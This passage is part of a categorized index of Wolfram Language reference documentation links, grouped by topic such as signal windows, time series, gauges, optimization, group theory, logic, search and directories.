[FindTransientRepeat](http://reference.wolfram.com/language/ref/FindTransientRepeat.html), [LatticeReduce](http://reference.wolfram.com/language/ref/LatticeReduce.html), [ListConvolve](http://reference.wolfram.com/language/ref/ListConvolve.html), [ListCorrelate](http://reference.wolfram.com/language/ref/ListCorrelate.html), [ListDeconvolve](http://reference.wolfram.com/language/ref/ListDeconvolve.html), [RotateLeft](http://reference.wolfram.com/language/ref/RotateLeft.html), [RotateRight](http://reference.wolfram.com/language/ref/RotateRight.html), [Signature](http://reference.wolfram.com/language/ref/Signature.html), [SpherePoints](http://reference.wolfram.com/language/ref/SpherePoints.html), [Subdivide](http://reference.wolfram.com/language/ref/Subdivide.html), [Unitize](http://reference.wolfram.com/language/ref/Unitize.html), [UnitVector](http://reference.wolfram.com/language/ref/UnitVector.html)
### Front End Options (24)
[AutoIndent](http://reference.wolfram.com/language/ref/AutoIndent.html), [AutoItalicWords](http://reference.wolfram.com/language/ref/AutoItalicWords.html), [AutoMultiplicationSymbol](http://reference.wolfram.com/language/ref/AutoMultiplicationSymbol.html), [AutoScroll](http://reference.wolfram.com/language/ref/AutoScroll.html), [AutoSpacing](http://reference.wolfram.com/language/ref/AutoSpacing.html), [CodeAssistOptions](http://reference.wolfram.com/language/ref/CodeAssistOptions.html), [ContentPadding](http://reference.wolfram.com/language/ref/ContentPadding.html), [DefaultElement](http://reference.wolfram.com/language/ref/DefaultElement.html), [DelimiterFlashTime](http://reference.wolfram.com/language/ref/DelimiterFlashTime.html), [Delimiters](http://reference.wolfram.com/language/ref/Delimiters.html), [Dividers](http://reference.wolfram.com/language/ref/Dividers.html), [Evaluator](http://reference.wolfram.com/language/ref/Evaluator.html), [FieldHint](http://reference.wolfram.com/language/ref/FieldHint.html), [FieldHintStyle](http://reference.wolfram.com/language/ref/FieldHintStyle.html), [FieldMasked](http://reference.wolfram.com/language/ref/FieldMasked.html), [FieldSize](http://reference.wolfram.com/language/ref/FieldSize.html), [FrontEndDynamicExpression](http://reference.wolfram.com/language/ref/FrontEndDynamicExpression.html), [FrontEndEventActions](http://reference.wolfram.com/language/ref/FrontEndEventActions.html), [GridDefaultElement](http://reference.wolfram.com/language/ref/GridDefaultElement.html), [InputAliases](http://reference.wolfram.com/language/ref/InputAliases.html), [Magnification](http://reference.wolfram.com/language/ref/Magnification.html), [OutputSizeLimit](http://reference.wolfram.com/language/ref/OutputSizeLimit.html), [RenderingOptions](http://reference.wolfram.com/language/ref/RenderingOptions.html), [RulerUnits](http://reference.wolfram.com/language/ref/RulerUnits.html)
### Math Function Windows (24)
[BartlettHannWindow](http://reference.wolfram.com/language/ref/BartlettHannWindow.html), [BartlettWindow](http://reference.wolfram.com/language/ref/BartlettWindow.html), [BlackmanHarrisWindow](http://reference.wolfram.com/language/ref/BlackmanHarrisWindow.html), [BlackmanNuttallWindow](http://reference.wolfram.com/language/ref/BlackmanNuttallWindow.html), [BlackmanWindow](http://reference.wolfram.com/language/ref/BlackmanWindow.html), [BohmanWindow](http://reference.wolfram.com/language/ref/BohmanWindow.html), [CauchyWindow](http://reference.wolfram.com/language/ref/CauchyWindow.html), [ConnesWindow](http://reference.wolfram.com/language/ref/ConnesWindow.html), [CosineWindow](http://reference.wolfram.com/language/ref/CosineWindow.html), [DirichletWindow](http://reference.wolfram.com/language/ref/DirichletWindow.html), [ExactBlackmanWindow](http://reference.wolfram.com/language/ref/ExactBlackmanWindow.html), [FlatTopWindow](http://reference.wolfram.com/language/ref/FlatTopWindow.html), [GaussianWindow](http://reference.wolfram.com/language/ref/GaussianWindow.html), [HammingWindow](http://reference.wolfram.com/language/ref/HammingWindow.html), [HannPoissonWindow](http://reference.wolfram.com/language/ref/HannPoissonWindow.html), [HannWindow](http://reference.wolfram.com/language/ref/HannWindow.html), [KaiserBesselWindow](http://reference.wolfram.com/language/ref/KaiserBesselWindow.html), [KaiserWindow](http://reference.wolfram.com/language/ref/KaiserWindow.html), [LanczosWindow](http://reference.wolfram.com/language/ref/LanczosWindow.html), [NuttallWindow](http://reference.wolfram.com/language/ref/NuttallWindow.html), [ParzenWindow](http://reference.wolfram.com/language/ref/ParzenWindow.html), [PoissonWindow](http://reference.wolfram.com/language/ref/PoissonWindow.html), [TukeyWindow](http://reference.wolfram.com/language/ref/TukeyWindow.html), [WelchWindow](http://reference.wolfram.com/language/ref/WelchWindow.html)
### Time Series (24)
[AdjustTimeSeriesForecast](http://reference.wolfram.com/language/ref/AdjustTimeSeriesForecast.html), [EventSeries](http://reference.wolfram.com/language/ref/EventSeries.html), [IncludeWindowTimes](http://reference.wolfram.com/language/ref/IncludeWindowTimes.html), [MinimumTimeIncrement](http://reference.wolfram.com/language/ref/MinimumTimeIncrement.html), [MovingMap](http://reference.wolfram.com/language/ref/MovingMap.html), [RegularlySampledQ](http://reference.wolfram.com/language/ref/RegularlySampledQ.html), [ResamplingMethod](http://reference.wolfram.com/language/ref/ResamplingMethod.html), [TemporalRegularity](http://reference.wolfram.com/language/ref/TemporalRegularity.html), [TimeSeries](http://reference.wolfram.com/language/ref/TimeSeries.html), [TimeSeriesAggregate](http://reference.wolfram.com/language/ref/TimeSeriesAggregate.html), [TimeSeriesForecast](http://reference.wolfram.com/language/ref/TimeSeriesForecast.html), [TimeSeriesInsert](http://reference.wolfram.com/language/ref/TimeSeriesInsert.html), [TimeSeriesInvertibility](http://reference.wolfram.com/language/ref/TimeSeriesInvertibility.html), [TimeSeriesMap](http://reference.wolfram.com/language/ref/TimeSeriesMap.html), [TimeSeriesMapThread](http://reference.wolfram.com/language/ref/TimeSeriesMapThread.html), [TimeSeriesModel](http://reference.wolfram.com/language/ref/TimeSeriesModel.html), [TimeSeriesModelFit](http://reference.wolfram.com/language/ref/TimeSeriesModelFit.html), [TimeSeriesResample](http://reference.wolfram.com/language/ref/TimeSeriesResample.html), [TimeSeriesRescale](http://reference.wolfram.com/language/ref/TimeSeriesRescale.html), [TimeSeriesShift](http://reference.wolfram.com/language/ref/TimeSeriesShift.html), [TimeSeriesThread](http://reference.wolfram.com/language/ref/TimeSeriesThread.html), [TimeSeriesWindow](http://reference.wolfram.com/language/ref/TimeSeriesWindow.html), [ToInvertibleTimeSeries](http://reference.wolfram.com/language/ref/ToInvertibleTimeSeries.html), [ValueDimensions](http://reference.wolfram.com/language/ref/ValueDimensions.html)
### Gauge (22)
[AngularGauge](http://reference.wolfram.com/language/ref/AngularGauge.html), [BulletGauge](http://reference.wolfram.com/language/ref/BulletGauge.html), [ClockGauge](http://reference.wolfram.com/language/ref/ClockGauge.html), [DefaultLabelStyle](http://reference.wolfram.com/language/ref/DefaultLabelStyle.html), [GaugeFaceElementFunction](http://reference.wolfram.com/language/ref/GaugeFaceElementFunction.html), [GaugeFaceStyle](http://reference.wolfram.com/language/ref/GaugeFaceStyle.html), [GaugeFrameElementFunction](http://reference.wolfram.com/language/ref/GaugeFrameElementFunction.html), [GaugeFrameSize](http://reference.wolfram.com/language/ref/GaugeFrameSize.html), [GaugeFrameStyle](http://reference.wolfram.com/language/ref/GaugeFrameStyle.html), [GaugeLabels](http://reference.wolfram.com/language/ref/GaugeLabels.html), [GaugeMarkers](http://reference.wolfram.com/language/ref/GaugeMarkers.html), [GaugeStyle](http://reference.wolfram.com/language/ref/GaugeStyle.html), [HorizontalGauge](http://reference.wolfram.com/language/ref/HorizontalGauge.html), [LabelStyle](http://reference.wolfram.com/language/ref/LabelStyle.html), [ScaleDivisions](http://reference.wolfram.com/language/ref/ScaleDivisions.html), [ScaleOrigin](http://reference.wolfram.com/language/ref/ScaleOrigin.html), [ScalePadding](http://reference.wolfram.com/language/ref/ScalePadding.html), [ScaleRanges](http://reference.wolfram.com/language/ref/ScaleRanges.html), [ScaleRangeStyle](http://reference.wolfram.com/language/ref/ScaleRangeStyle.html), [ThermometerGauge](http://reference.wolfram.com/language/ref/ThermometerGauge.html), [TicksStyle](http://reference.wolfram.com/language/ref/TicksStyle.html), [VerticalGauge](http://reference.wolfram.com/language/ref/VerticalGauge.html)
### Min Max (22)
[ArgMax](http://reference.wolfram.com/language/ref/ArgMax.html), [ArgMin](http://reference.wolfram.com/language/ref/ArgMin.html), [FindArgMax](http://reference.wolfram.com/language/ref/FindArgMax.html), [FindArgMin](http://reference.wolfram.com/language/ref/FindArgMin.html), [FindCurvePath](http://reference.wolfram.com/language/ref/FindCurvePath.html), [FindMaximum](http://reference.wolfram.com/language/ref/FindMaximum.html), [FindMaxValue](http://reference.wolfram.com/language/ref/FindMaxValue.html), [FindMinimum](http://reference.wolfram.com/language/ref/FindMinimum.html), [FindMinValue](http://reference.wolfram.com/language/ref/FindMinValue.html), [FindShortestTour](http://reference.wolfram.com/language/ref/FindShortestTour.html), [KnapsackSolve](http://reference.wolfram.com/language/ref/KnapsackSolve.html), [LinearProgramming](http://reference.wolfram.com/language/ref/LinearProgramming.html), [Maximize](http://reference.wolfram.com/language/ref/Maximize.html), [MaxValue](http://reference.wolfram.com/language/ref/MaxValue.html), [Minimize](http://reference.wolfram.com/language/ref/Minimize.html), [MinValue](http://reference.wolfram.com/language/ref/MinValue.html), [NArgMax](http://reference.wolfram.com/language/ref/NArgMax.html), [NArgMin](http://reference.wolfram.com/language/ref/NArgMin.html), [NMaximize](http://reference.wolfram.com/language/ref/NMaximize.html), [NMaxValue](http://reference.wolfram.com/language/ref/NMaxValue.html), [NMinimize](http://reference.wolfram.com/language/ref/NMinimize.html), [NMinValue](http://reference.wolfram.com/language/ref/NMinValue.html)
### Group Theory (21)
[CayleyGraph](http://reference.wolfram.com/language/ref/CayleyGraph.html), [CycleIndexPolynomial](http://reference.wolfram.com/language/ref/CycleIndexPolynomial.html), [FiniteAbelianGroupCount](http://reference.wolfram.com/language/ref/FiniteAbelianGroupCount.html), [FiniteGroupCount](http://reference.wolfram.com/language/ref/FiniteGroupCount.html), [FiniteGroupData](http://reference.wolfram.com/language/ref/FiniteGroupData.html), [GroupActionBase](http://reference.wolfram.com/language/ref/GroupActionBase.html), [GroupCentralizer](http://reference.wolfram.com/language/ref/GroupCentralizer.html), [GroupElementFromWord](http://reference.wolfram.com/language/ref/GroupElementFromWord.html), [GroupElementPosition](http://reference.wolfram.com/language/ref/GroupElementPosition.html), [GroupElementQ](http://reference.wolfram.com/language/ref/GroupElementQ.html), [GroupElements](http://reference.wolfram.com/language/ref/GroupElements.html), [GroupElementToWord](http://reference.wolfram.com/language/ref/GroupElementToWord.html), [GroupGenerators](http://reference.wolfram.com/language/ref/GroupGenerators.html), [GroupMultiplicationTable](http://reference.wolfram.com/language/ref/GroupMultiplicationTable.html), [GroupOrbits](http://reference.wolfram.com/language/ref/GroupOrbits.html), [GroupOrder](http://reference.wolfram.com/language/ref/GroupOrder.html), [GroupSetwiseStabilizer](http://reference.wolfram.com/language/ref/GroupSetwiseStabilizer.html), [GroupStabilizer](http://reference.wolfram.com/language/ref/GroupStabilizer.html), [GroupStabilizerChain](http://reference.wolfram.com/language/ref/GroupStabilizerChain.html), [PermutationGroup](http://reference.wolfram.com/language/ref/PermutationGroup.html), [RightCosetRepresentative](http://reference.wolfram.com/language/ref/RightCosetRepresentative.html)
### Link (21)
[DisplayPacket](http://reference.wolfram.com/language/ref/DisplayPacket.html), [Install](http://reference.wolfram.com/language/ref/Install.html), [LinkActivate](http://reference.wolfram.com/language/ref/LinkActivate.html), [LinkClose](http://reference.wolfram.com/language/ref/LinkClose.html), [LinkConnect](http://reference.wolfram.com/language/ref/LinkConnect.html), [LinkCreate](http://reference.wolfram.com/language/ref/LinkCreate.html), [LinkInterrupt](http://reference.wolfram.com/language/ref/LinkInterrupt.html), [LinkLaunch](http://reference.wolfram.com/language/ref/LinkLaunch.html), [LinkObject](http://reference.wolfram.com/language/ref/LinkObject.html), [LinkPatterns](http://reference.wolfram.com/language/ref/LinkPatterns.html), [LinkProtocol](http://reference.wolfram.com/language/ref/LinkProtocol.html), [LinkRead](http://reference.wolfram.com/language/ref/LinkRead.html), [LinkReadyQ](http://reference.wolfram.com/language/ref/LinkReadyQ.html), [Links](http://reference.wolfram.com/language/ref/Links.html), [LinkWrite](http://reference.wolfram.com/language/ref/LinkWrite.html), [SourceLink](http://reference.wolfram.com/language/ref/SourceLink.html), [Uninstall](http://reference.wolfram.com/language/ref/Uninstall.html), [$CurrentLink](http://reference.wolfram.com/language/ref/%24CurrentLink.html), [$Linked](http://reference.wolfram.com/language/ref/%24Linked.html), [$ParentLink](http://reference.wolfram.com/language/ref/%24ParentLink.html), [$SourceLink](http://reference.wolfram.com/language/ref/%24SourceLink.html)
### Logic (21)
[AxiomaticTheory](http://reference.wolfram.com/language/ref/AxiomaticTheory.html), [Conjunction](http://reference.wolfram.com/language/ref/Conjunction.html), [Disjunction](http://reference.wolfram.com/language/ref/Disjunction.html), [Equivalent](http://reference.wolfram.com/language/ref/Equivalent.html), [Exists](http://reference.wolfram.com/language/ref/Exists.html), [FindEquationalProof](http://reference.wolfram.com/language/ref/FindEquationalProof.html), [FindInstance](http://reference.wolfram.com/language/ref/FindInstance.html), [ForAll](http://reference.wolfram.com/language/ref/ForAll.html), [Implies](http://reference.wolfram.com/language/ref/Implies.html), [LogicalExpand](http://reference.wolfram.com/language/ref/LogicalExpand.html), [Majority](http://reference.wolfram.com/language/ref/Majority.html), [Nand](http://reference.wolfram.com/language/ref/Nand.html), [ProofObject](http://reference.wolfram.com/language/ref/ProofObject.html), [Resolve](http://reference.wolfram.com/language/ref/Resolve.html), [SatisfiabilityCount](http://reference.wolfram.com/language/ref/SatisfiabilityCount.html), [SatisfiabilityInstances](http://reference.wolfram.com/language/ref/SatisfiabilityInstances.html), [SatisfiableQ](http://reference.wolfram.com/language/ref/SatisfiableQ.html), [TautologyQ](http://reference.wolfram.com/language/ref/TautologyQ.html), [UnateQ](http://reference.wolfram.com/language/ref/UnateQ.html), [Xnor](http://reference.wolfram.com/language/ref/Xnor.html), [Xor](http://reference.wolfram.com/language/ref/Xor.html)
### Search (21)
[AddToSearchIndex](http://reference.wolfram.com/language/ref/AddToSearchIndex.html), [ContentFieldOptions](http://reference.wolfram.com/language/ref/ContentFieldOptions.html), [ContentLocationFunction](http://reference.wolfram.com/language/ref/ContentLocationFunction.html), [ContentObject](http://reference.wolfram.com/language/ref/ContentObject.html), [CreateSearchIndex](http://reference.wolfram.com/language/ref/CreateSearchIndex.html), [DeleteSearchIndex](http://reference.wolfram.com/language/ref/DeleteSearchIndex.html), [DocumentWeightingRules](http://reference.wolfram.com/language/ref/DocumentWeightingRules.html), [FindTextualAnswer](http://reference.wolfram.com/language/ref/FindTextualAnswer.html), [MaxWordGap](http://reference.wolfram.com/language/ref/MaxWordGap.html), [SearchAdjustment](http://reference.wolfram.com/language/ref/SearchAdjustment.html), [SearchIndexObject](http://reference.wolfram.com/language/ref/SearchIndexObject.html), [SearchIndices](http://reference.wolfram.com/language/ref/SearchIndices.html), [SearchQueryString](http://reference.wolfram.com/language/ref/SearchQueryString.html), [SearchResultObject](http://reference.wolfram.com/language/ref/SearchResultObject.html), [TextSearch](http://reference.wolfram.com/language/ref/TextSearch.html), [TextSearchReport](http://reference.wolfram.com/language/ref/TextSearchReport.html), [UpdateSearchIndex](http://reference.wolfram.com/language/ref/UpdateSearchIndex.html), [WebAudioSearch](http://reference.wolfram.com/language/ref/WebAudioSearch.html), [WebImageSearch](http://reference.wolfram.com/language/ref/WebImageSearch.html), [WebSearch](http://reference.wolfram.com/language/ref/WebSearch.html), [WikipediaSearch](http://reference.wolfram.com/language/ref/WikipediaSearch.html)
### Boolean (20)
[AllTrue](http://reference.wolfram.com/language/ref/AllTrue.html), [AnyTrue](http://reference.wolfram.com/language/ref/AnyTrue.html), [Boole](http://reference.wolfram.com/language/ref/Boole.html), [BooleanConsecutiveFunction](http://reference.wolfram.com/language/ref/BooleanConsecutiveFunction.html), [BooleanConvert](http://reference.wolfram.com/language/ref/BooleanConvert.html), [BooleanCountingFunction](http://reference.wolfram.com/language/ref/BooleanCountingFunction.html), [BooleanFunction](http://reference.wolfram.com/language/ref/BooleanFunction.html), [BooleanGraph](http://reference.wolfram.com/language/ref/BooleanGraph.html), [BooleanMaxterms](http://reference.wolfram.com/language/ref/BooleanMaxterms.html), [BooleanMinimize](http://reference.wolfram.com/language/ref/BooleanMinimize.html), [BooleanMinterms](http://reference.wolfram.com/language/ref/BooleanMinterms.html), [BooleanQ](http://reference.wolfram.com/language/ref/BooleanQ.html), [Booleans](http://reference.wolfram.com/language/ref/Booleans.html), [BooleanTable](http://reference.wolfram.com/language/ref/BooleanTable.html), [BooleanVariables](http://reference.wolfram.com/language/ref/BooleanVariables.html), [ConditionalExpression](http://reference.wolfram.com/language/ref/ConditionalExpression.html), [DiscreteIndicator](http://reference.wolfram.com/language/ref/DiscreteIndicator.html), [NoneTrue](http://reference.wolfram.com/language/ref/NoneTrue.html), [TrueQ](http://reference.wolfram.com/language/ref/TrueQ.html), [Undefined](http://reference.wolfram.com/language/ref/Undefined.html)
### Compile (20)
[CompilationOptions](http://reference.wolfram.com/language/ref/CompilationOptions.html), [CompilationTarget](http://reference.wolfram.com/language/ref/CompilationTarget.html), [Compile](http://reference.wolfram.com/language/ref/Compile.html), [Compiled](http://reference.wolfram.com/language/ref/Compiled.html), [CompiledCodeFunction](http://reference.wolfram.com/language/ref/CompiledCodeFunction.html), [CompiledFunction](http://reference.wolfram.com/language/ref/CompiledFunction.html), [CompilerOptions](http://reference.wolfram.com/language/ref/CompilerOptions.html), [FunctionCompile](http://reference.wolfram.com/language/ref/FunctionCompile.html), [FunctionCompileExport](http://reference.wolfram.com/language/ref/FunctionCompileExport.html), [FunctionCompileExportByteArray](http://reference.wolfram.com/language/ref/FunctionCompileExportByteArray.html), [FunctionCompileExportLibrary](http://reference.wolfram.com/language/ref/FunctionCompileExportLibrary.html), [FunctionCompileExportString](http://reference.wolfram.com/language/ref/FunctionCompileExportString.html), [KernelFunction](http://reference.wolfram.com/language/ref/KernelFunction.html), [Parallelization](http://reference.wolfram.com/language/ref/Parallelization.html), [RuntimeAttributes](http://reference.wolfram.com/language/ref/RuntimeAttributes.html), [RuntimeOptions](http://reference.wolfram.com/language/ref/RuntimeOptions.html), [TargetSystem](http://reference.wolfram.com/language/ref/TargetSystem.html), [Typed](http://reference.wolfram.com/language/ref/Typed.html), [TypeSpecifier](http://reference.wolfram.com/language/ref/TypeSpecifier.html), [$CompilationTarget](http://reference.wolfram.com/language/ref/%24CompilationTarget.html)
### Directory (20)
[CopyDirectory](http://reference.wolfram.com/language/ref/CopyDirectory.html), [CreateDirectory](http://reference.wolfram.com/language/ref/CreateDirectory.html), [CreateIntermediateDirectories](http://reference.wolfram.com/language/ref/CreateIntermediateDirectories.html), [DeleteDirectory](http://reference.wolfram.com/language/ref/DeleteDirectory.html), [Directory](http://reference.wolfram.com/language/ref/Directory.html), [DirectoryName](http://reference.wolfram.com/language/ref/DirectoryName.html), [DirectoryQ](http://reference.wolfram.com/language/ref/DirectoryQ.html), [DirectoryStack](http://reference.wolfram.com/language/ref/DirectoryStack.html), [ParentDirectory](http://reference.wolfram.com/language/ref/ParentDirectory.html), [RenameDirectory](http://reference.wolfram.com/language/ref/RenameDirectory.html), [ResetDirectory](http://reference.wolfram.com/language/ref/ResetDirectory.html), [SetDirectory](http://reference.wolfram.com/language/ref/SetDirectory.html), [$BaseDirectory](http://reference.wolfram.com/language/ref/%24BaseDirectory.html), [$HomeDirectory](http://reference.wolfram.com/language/ref/%24HomeDirectory.html), [$InitialDirectory](http://reference.wolfram.com/language/ref/%24InitialDirectory.html), [$InstallationDirectory](http://reference.wolfram.com/language/ref/%24InstallationDirectory.html), [$RootDirectory](http://reference.wolfram.com/language/ref/%24RootDirectory.html), [$TemporaryDirectory](http://reference.wolfram.com/language/ref/%24TemporaryDirectory.html), [$UserBaseDirectory](http://reference.wolfram.com/language/ref/%24UserBaseDirectory.html), [$UserDocumentsDirectory](http://reference.wolfram.com/language/ref/%24UserDocumentsDirectory.html)
### Extraction (20)
[Commonest](http://reference.wolfram.com/language/ref/Commonest.html), [Delete](http://reference.wolfram.com/language/ref/Delete.html), [DeleteDuplicates](http://reference.wolfram.com/language/ref/DeleteDuplicates.html), [DeleteDuplicatesBy](http://reference.wolfram.com/language/ref/DeleteDuplicatesBy.html), [Drop](http://reference.wolfram.com/language/ref/Drop.html), [MaximalBy](http://reference.wolfram.com/language/ref/MaximalBy.html), [MinimalBy](http://reference.wolfram.com/language/ref/MinimalBy.html), [MinMax](http://reference.wolfram.com/language/ref/MinMax.html), [Pick](http://reference.wolfram.com/language/ref/Pick.html), [RankedMax](http://reference.wolfram.com/language/ref/RankedMax.html), [RankedMin](http://reference.wolfram.com/language/ref/RankedMin.html), [SelectFirst](http://reference.wolfram.com/language/ref/SelectFirst.html), [TakeDrop](http://reference.wolfram.com/language/ref/TakeDrop.html), [TakeLargest](http://reference.wolfram.com/language/ref/TakeLargest.html), [TakeLargestBy](http://reference.wolfram.com/language/ref/TakeLargestBy.html), [TakeList](http://reference.wolfram.com/language/ref/TakeList.html), [TakeSmallest](http://reference.wolfram.com/language/ref/TakeSmallest.html), [TakeSmallestBy](http://reference.wolfram.com/language/ref/TakeSmallestBy.html), [TakeWhile](http://reference.wolfram.com/language/ref/TakeWhile.html), [UpTo](http://reference.wolfram.com/language/ref/UpTo.html)
### Fitting (20)
[ConfidenceLevel](http://reference.wolfram.com/language/ref/ConfidenceLevel.html), [CovarianceEstimatorFunction](http://reference.wolfram.com/language/ref/CovarianceEstimatorFunction.html), [DesignMatrix](http://reference.wolfram.com/language/ref/DesignMatrix.html), [DispersionEstimatorFunction](http://reference.wolfram.com/language/ref/DispersionEstimatorFunction.html), [ExponentialFamily](http://reference.wolfram.com/language/ref/ExponentialFamily.html), [FindFormula](http://reference.wolfram.com/language/ref/FindFormula.html), [FitRegularization](http://reference.wolfram.com/language/ref/FitRegularization.html), [FittedModel](http://reference.wolfram.com/language/ref/FittedModel.html), [GeneralizedLinearModelFit](http://reference.wolfram.com/language/ref/GeneralizedLinearModelFit.html), [IncludeConstantBasis](http://reference.wolfram.com/language/ref/IncludeConstantBasis.html), [LeastSquares](http://reference.wolfram.com/language/ref/LeastSquares.html), [LinearModelFit](http://reference.wolfram.com/language/ref/LinearModelFit.html), [LinearOffsetFunction](http://reference.wolfram.com/language/ref/LinearOffsetFunction.html), [LinkFunction](http://reference.wolfram.com/language/ref/LinkFunction.html), [LogitModelFit](http://reference.wolfram.com/language/ref/LogitModelFit.html), [NominalVariables](http://reference.wolfram.com/language/ref/NominalVariables.html), [NonlinearModelFit](http://reference.wolfram.com/language/ref/NonlinearModelFit.html), [ProbitModelFit](http://reference.wolfram.com/language/ref/ProbitModelFit.html), [VarianceEstimatorFunction](http://reference.wolfram.com/language/ref/VarianceEstimatorFunction.html), [Weights](http://reference.wolfram.com/language/ref/Weights.html)
### Geometric Transform (20)
[AffineTransform](http://reference.wolfram.com/language/ref/AffineTransform.html), [EulerAngles](http://reference.wolfram.com/language/ref/EulerAngles.html), [EulerMatrix](http://reference.wolfram.com/language/ref/EulerMatrix.html), [FindGeometricTransform](http://reference.wolfram.com/language/ref/FindGeometricTransform.html), [GeometricTransformation](http://reference.wolfram.com/language/ref/GeometricTransformation.html), [LinearFractionalTransform](http://reference.wolfram.com/language/ref/LinearFractionalTransform.html), [ReflectionMatrix](http://reference.wolfram.com/language/ref/ReflectionMatrix.html), [ReflectionTransform](http://reference.wolfram.com/language/ref/ReflectionTransform.html), [RescalingTransform](http://reference.wolfram.com/language/ref/RescalingTransform.html), [RollPitchYawAngles](http://reference.wolfram.com/language/ref/RollPitchYawAngles.html), [RollPitchYawMatrix](http://reference.wolfram.com/language/ref/RollPitchYawMatrix.html), [RotationMatrix](http://reference.wolfram.com/language/ref/RotationMatrix.html), [RotationTransform](http://reference.wolfram.com/language/ref/RotationTransform.html), [ScalingMatrix](http://reference.wolfram.com/language/ref/ScalingMatrix.html), [ScalingTransform](http://reference.wolfram.com/language/ref/ScalingTransform.html), [ShearingMatrix](http://reference.wolfram.com/language/ref/ShearingMatrix.html), [ShearingTransform](http://reference.wolfram.com/language/ref/ShearingTransform.html), [TransformationFunction](http://reference.wolfram.com/language/ref/TransformationFunction.html), [TransformationMatrix](http://reference.wolfram.com/language/ref/TransformationMatrix.html), [TranslationTransform](http://reference.wolfram.com/language/ref/TranslationTransform.html)
### Numerics Precision (20)
[Accuracy](http://reference.wolfram.com/language/ref/Accuracy.html), [AccuracyGoal](http://reference.wolfram.com/language/ref/AccuracyGoal.html), [Chop](http://reference.wolfram.com/language/ref/Chop.html), [ExactNumberQ](http://reference.wolfram.com/language/ref/ExactNumberQ.html), [InexactNumberQ](http://reference.wolfram.com/language/ref/InexactNumberQ.html), [MachineNumberQ](http://reference.wolfram.com/language/ref/MachineNumberQ.html), [MachinePrecision](http://reference.wolfram.com/language/ref/MachinePrecision.html), [Precision](http://reference.wolfram.com/language/ref/Precision.html), [SetAccuracy](http://reference.wolfram.com/language/ref/SetAccuracy.html), [SetPrecision](http://reference.wolfram.com/language/ref/SetPrecision.html), [$MachineEpsilon](http://reference.wolfram.com/language/ref/%24MachineEpsilon.html), [$MachinePrecision](http://reference.wolfram.com/language/ref/%24MachinePrecision.html), [$MaxExtraPrecision](http://reference.wolfram.com/language/ref/%24MaxExtraPrecision.html), [$MaxMachineNumber](http://reference.wolfram.com/language/ref/%24MaxMachineNumber.html), [$MaxNumber](http://reference.wolfram.com/language/ref/%24MaxNumber.html), [$MaxPrecision](http://reference.wolfram.com/language/ref/%24MaxPrecision.html), [$MinMachineNumber](http://reference.wolfram.com/language/ref/%24MinMachineNumber.html), [$MinNumber](http://reference.wolfram.com/language/ref/%24MinNumber.html), [$MinPrecision](http://reference.wolfram.com/language/ref/%24MinPrecision.html), [$PerformanceGoal](http://reference.wolfram.com/language/ref/%24PerformanceGoal.html)
### Channel (19)
[Anonymous](http://reference.wolfram.com/language/ref/Anonymous.html), [ChannelBase](http://reference.wolfram.com/language/ref/ChannelBase.html), [ChannelBrokerAction](http://reference.wolfram.com/language/ref/ChannelBrokerAction.html), [ChannelDatabin](http://reference.wolfram.com/language/ref/ChannelDatabin.html), [ChannelListen](http://reference.wolfram.com/language/ref/ChannelListen.html), [ChannelListener](http://reference.wolfram.com/language/ref/ChannelListener.html), [ChannelListeners](http://reference.wolfram.com/language/ref/ChannelListeners.html), [ChannelObject](http://reference.wolfram.com/language/ref/ChannelObject.html), [ChannelPreSendFunction](http://reference.wolfram.com/language/ref/ChannelPreSendFunction.html), [ChannelReceiverFunction](http://reference.wolfram.com/language/ref/ChannelReceiverFunction.html), [ChannelSend](http://reference.wolfram.com/language/ref/ChannelSend.html), [ChannelSubscribers](http://reference.wolfram.com/language/ref/ChannelSubscribers.html), [CreateChannel](http://reference.wolfram.com/language/ref/CreateChannel.html), [DeleteChannel](http://reference.wolfram.com/language/ref/DeleteChannel.html), [FindChannels](http://reference.wolfram.com/language/ref/FindChannels.html), [RemoveChannelListener](http://reference.wolfram.com/language/ref/RemoveChannelListener.html), [RemoveChannelSubscribers](http://reference.wolfram.com/language/ref/RemoveChannelSubscribers.html), [$AllowExternalChannelFunctions](http://reference.wolfram.com/language/ref/%24AllowExternalChannelFunctions.html), [$ChannelBase](http://reference.wolfram.com/language/ref/%24ChannelBase.html)
### Matrix (19)
[ArrayPlot](http://reference.wolfram.com/language/ref/ArrayPlot.html), [BoxMatrix](http://reference.wolfram.com/language/ref/BoxMatrix.html), [CrossMatrix](http://reference.wolfram.com/language/ref/CrossMatrix.html), [DiagonalMatrix](http://reference.wolfram.com/language/ref/DiagonalMatrix.html), [DiamondMatrix](http://reference.wolfram.com/language/ref/DiamondMatrix.html), [DiskMatrix](http://reference.wolfram.com/language/ref/DiskMatrix.html), [FourierDCTMatrix](http://reference.wolfram.com/language/ref/FourierDCTMatrix.html), [FourierDSTMatrix](http://reference.wolfram.com/language/ref/FourierDSTMatrix.html), [FourierMatrix](http://reference.wolfram.com/language/ref/FourierMatrix.html), [GaborMatrix](http://reference.wolfram.com/language/ref/GaborMatrix.html), [GaussianMatrix](http://reference.wolfram.com/language/ref/GaussianMatrix.html), [HadamardMatrix](http://reference.wolfram.com/language/ref/HadamardMatrix.html), [HankelMatrix](http://reference.wolfram.com/language/ref/HankelMatrix.html), [HilbertMatrix](http://reference.wolfram.com/language/ref/HilbertMatrix.html), [MatrixPlot](http://reference.wolfram.com/language/ref/MatrixPlot.html), [PauliMatrix](http://reference.wolfram.com/language/ref/PauliMatrix.html), [SavitzkyGolayMatrix](http://reference.wolfram.com/language/ref/SavitzkyGolayMatrix.html), [ShenCastanMatrix](http://reference.wolfram.com/language/ref/ShenCastanMatrix.html), [ToeplitzMatrix](http://reference.wolfram.com/language/ref/ToeplitzMatrix.html)
### Named Graph (19)
